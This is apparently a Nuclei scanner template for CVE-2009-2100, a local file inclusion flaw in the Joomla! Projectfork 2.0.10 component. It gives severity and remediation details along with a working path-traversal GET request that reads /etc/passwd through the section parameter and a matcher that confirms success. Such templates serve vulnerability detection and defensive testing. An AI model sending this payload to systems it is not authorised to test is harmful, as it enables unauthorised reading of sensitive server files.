id: CVE-2009-2100 info: name: Joomla! JoomlaPraise Projectfork 2.0.10 - Local File Inclusion author: daffainfo severity: medium description: Joomla! JoomlaPraise Projectfork (com_projectfork) 2.0.10 allows remote attackers to read arbitrary files via local file inclusion in the section parameter to index.php. impact: | Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire Joomla! installation. remediation: | Upgrade to a patched version of JoomlaPraise Projectfork or apply the necessary security patches to mitigate the LFI vulnerability. reference: - https://www.exploit-db.com/exploits/8946 - https://nvd.nist.gov/vuln/detail/CVE-2009-2100 classification: cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N cvss-score: 5 cve-id: CVE-2009-2100 cwe-id: CWE-22 epss-score: 0.00629 epss-percentile: 0.7675 cpe: cpe:2.3:a:joomla:joomla:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: joomla product: joomla tags: cve2009,cve,joomla,lfi,edb http: - method: GET path: - "{{BaseURL}}/index.php?option=com_projectfork§ion=../../../../../../../../etc/passwd" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 4a0a0047304502204766c1c9c32f032762afd10fe8ee84f1b653171440aa77ca4b705a3e4375838e0221008a5bb47895dbc57d2f3934ab49b0456617e0120470090e7bd632ce4a22ba222d:922c64590222798bb761d5b6d8e72950